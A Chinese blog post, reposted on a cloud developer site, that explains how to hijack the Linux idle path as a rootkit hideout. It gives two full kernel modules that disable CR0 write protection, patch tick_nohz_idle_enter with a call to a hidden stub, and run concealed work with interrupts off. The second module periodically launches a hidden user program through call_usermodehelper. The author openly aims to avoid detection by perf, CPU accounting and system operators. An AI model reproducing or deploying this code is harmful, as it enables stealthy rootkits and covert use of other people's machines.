前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >劫持Linux idle进程做点自己的计算任务

劫持Linux idle进程做点自己的计算任务

作者头像
Linux阅码场
发布2020-06-09 14:15:56
1.2K0
发布2020-06-09 14:15:56
举报
文章被收录于专栏:LINUX阅码场

前面谈过如何隐藏一个进程,我说过,隐藏procfs接口那无异于掩耳盗铃,正确的做法应该是将task_struct从任何链表中摘除,仅仅保留于run queue。

但CPU利用率会暴露你隐藏的进程…

于是hook掉CPU记账接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占优势。

其实,还有一个好办法,即劫持idle,这样我们甚至可以不用管CPU记账程序, idle多当然好啊,运维们不正期望idle多吗?idle多没人会去perf的吧…

测试代码如下:

代码语言:javascript
复制
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>

char *stub;
char *addr = NULL;
static unsigned long base = 0;

void test_stub1(void)
{
  unsigned long i;

  local_bh_disable(); // 防止期间时钟中断记账到sys或者si。
  local_irq_disable();
  // 开始我们的计算任务。
  for (i = 0; i < 0xfffffff; i++) {
    base += jiffies;
  }
  if (jiffies % 0xf == 0) {
    printk("base is :%llx\n", base);
  }
  local_irq_enable();
  local_bh_enable();


}

#define FTRACE_SIZE    5
#define POKE_OFFSET    0
#define POKE_LENGTH    5

unsigned char *idle;

unsigned long cr0;
static int __init hotfix_init(void)
{
  unsigned char e8_call[POKE_LENGTH];
  s32 offset, i;

  idle = (void *)kallsyms_lookup_name("tick_nohz_idle_enter");

  stub = (void *)test_stub1;
  addr = (void *)idle;

  offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

  e8_call[0] = 0xe8;
  (*(s32 *)(&e8_call[1])) = offset;
  for (i = 5; i < POKE_LENGTH; i++) {
    e8_call[i] = 0x90;
  }
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);

  return 0;
}

static void __exit hotfix_exit(void)
{
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

需要注意的是,计算任务不能睡眠,不能schedule,不能太太太繁重,以免被perf发现。其实,如果机器在机房,电源风扇的轰鸣是可以掩盖CPU风扇的,不过液冷的话就要另想办法了。

我们看下效果吧。我用虚拟机测试,下面左边是宿主机,右边是虚拟机,没有劫持idle时的CPU利用率如下:

下面是劫持后的:

虽然右边虚拟机的CPU依然几乎全部都是idle,和未劫持时没有差别,然而宿主机的能耗骗不了人。笔记本的风扇噪声在加大,以至于我不得不用Macs Fan Control将风扇转速调低,然而铝壳正在变得发烫。

哪个是真的,哪个是假的,假亦真时真亦假…

我倒是觉得,idle作为Rootkit的根据地还是非常不错,如果你想执行一些 真正的任务 ,那就call usermodehelper呗,只要确保这个helper完成任务及时退出就行。

代码语言:javascript
复制
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>

char *stub;
char *addr = NULL;
static unsigned long base = 0;
static unsigned long last = 0;

void test_stub1(void)
{
  unsigned long i;
#if 0
  local_bh_disable();
  local_irq_disable();
  for (i = 0; i < 0xfffffff; i++) {
    base += jiffies;
  }
  if (jiffies % 0xf == 0) {
    printk("base is :%llx\n", base);
  }
  local_irq_enable();
  local_bh_enable();
#endif
  //if (jiffies % 1000 == 0 && last != jiffies) {
  if (jiffies - last >= 1000) {
    // /root/run 程序一定不要太犹豫,做完就走。且该程序要以某种方式使readdir无法显示。
    call_usermodehelper("/root/run", NULL, NULL, 0);
    last = jiffies;
  }
}

#define FTRACE_SIZE    5
#define POKE_OFFSET    0
#define POKE_LENGTH    5

unsigned char *idle;

unsigned long cr0;
static int __init hotfix_init(void)
{
  unsigned char e8_call[POKE_LENGTH];
  s32 offset, i;

  idle = (void *)kallsyms_lookup_name("tick_nohz_idle_enter");

  stub = (void *)test_stub1;
  addr = (void *)idle;

  offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

  e8_call[0] = 0xe8;
  (*(s32 *)(&e8_call[1])) = offset;
  for (i = 5; i < POKE_LENGTH; i++) {
    e8_call[i] = 0x90;
  }
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);

  return 0;
}

static void __exit hotfix_exit(void)
{
  cr0 = read_cr0();
  clear_bit(16, &cr0);
  memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH);
  set_bit(16, &cr0);
  write_cr0(cr0);
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

run的代码如下:

代码语言:javascript
复制
#include <fcntl.h>
int main(int argc, char **argv)
{
  int fd = open("/dev/pts/0", O_RDWR);
  write(fd, "aaaaaaaaa\n", 10);
}

效果就是在系统压力不大时,每隔大约1秒中在/dev/pts/0终端打印一串a。

如果run程序执行时间在作为human being的运维人员和经理的视角转瞬即逝的话,同时run又是一个隐藏文件的话,试问如何发现谁打出的a呢?

运维和经理打字敲回车以及他们的蛋白质眼睛无法分辨200ms以下的事件。

正如所料,接下来,我要对perf动手了。

版权声明:本文为CSDN博主「dog250」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:

https://blog.csdn.net/dog250/article/details/105912353

(END)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Linux阅码场 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
专用宿主机
专用宿主机(CVM Dedicated Host,CDH)提供用户独享的物理服务器资源,满足您资源独享、资源物理隔离、安全、合规需求。专用宿主机搭载了腾讯云虚拟化系统,购买之后,您可在其上灵活创建、管理多个自定义规格的云服务器实例,自主规划物理资源的使用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档